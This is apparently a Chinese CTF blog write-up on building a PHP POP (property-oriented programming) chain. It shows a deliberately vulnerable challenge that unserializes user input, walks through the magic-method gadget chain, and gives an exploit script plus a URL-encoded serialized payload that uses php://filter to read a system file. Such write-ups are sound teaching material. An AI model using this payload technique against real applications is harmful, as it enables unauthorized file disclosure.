目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
333 字
2 分钟
PHP构造POP链小练习
PHP构造POP链小练习
题目
1<?php2error_reporting(0);3highlight_file(__FILE__);4class Vox{5 protected $headset;6 public $sound;7 public function fun($pulse){8 include($pulse);9 }10 public function __invoke(){11 $this->fun($this->headset);12 }13}14
15class Saw{16 public $fearless;17 public $gun;18 public function __construct($file='index.php'){19 $this->fearless = $file;20 echo $this->fearless . ' You are in my range!'."<br>";21 }22
23 public function __toString(){24 $this->gun['gun']->fearless;25 return "Saw";26 }27
28 public function _pain(){29 if($this->fearless){30 highlight_file($this->fearless);31 }32 }33
34 public function __wakeup(){35 if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){36 echo "Does it hurt? That's right";37 $this->fearless = "index.php";38 }39 }40}41
42class Petal{43 public $seed;44 public function __construct(){45 $this->seed = array();46 }47
48 public function __get($sun){49 $Nourishment = $this->seed;50 return $Nourishment();51 }52}53
54if(isset($_GET['ozo'])){55 unserialize($_GET['ozo']);56}57else{58 $Saw = new Saw('index.php');59 $Saw->_pain();60}61?>首先确定最终目的是控制include($pulse),控制包含点即可利用伪协议构造任意文件读取
1然后一步步反推Vox::__invoke() -> Vox::fun()2而触发__invoke()的条件是将实例对象当作方法调用时触发,Petal::__get()中的return $Nourishment();满足条件3只要赋值一个对象给$this->seed即可触发,继续分析Petal::__get()的触发条件是调用不可访问的属性或者方法时被触发4Saw::__toString()中的$this->gun['gun']->fearless可满足5最后就是如何触发Saw::__toString(),Saw::__wakeup()中,进行了正则匹配6如果将$this->fearless设置成一个对象,即可触发Saw::__toString()。1利用链:Saw::__wakeup() -> Saw::__toString() -> Petal::__get() -> Vox::__invoke() -> Vox::fun()POP链
1<?php2class Vox3{4 protected $headset = "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini";5}6
7class Saw8{9 public $fearless;10 public $gun;11}12
13class Petal14{15 public $seed;16}17
18$Vox = new Vox();19$Saw1 = new Saw();20$Saw2 = new Saw();21$Petal = new Petal();22
23$Saw1->fearless = $Saw2;24$Saw2->gun['gun'] = $Petal;25$Petal->seed = $Vox;26
27echo urlencode(serialize($Saw1));1O%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BO%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BN%3Bs%3A3%3A%22gun%22%3Ba%3A1%3A%7Bs%3A3%3A%22gun%22%3BO%3A5%3A%22Petal%22%3A1%3A%7Bs%3A4%3A%22seed%22%3BO%3A3%3A%22Vox%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00headset%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dc%3A%2Fwindows%2Fwin.ini%22%3B%7D%7D%7D%7Ds%3A3%3A%22gun%22%3BN%3B%7D部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录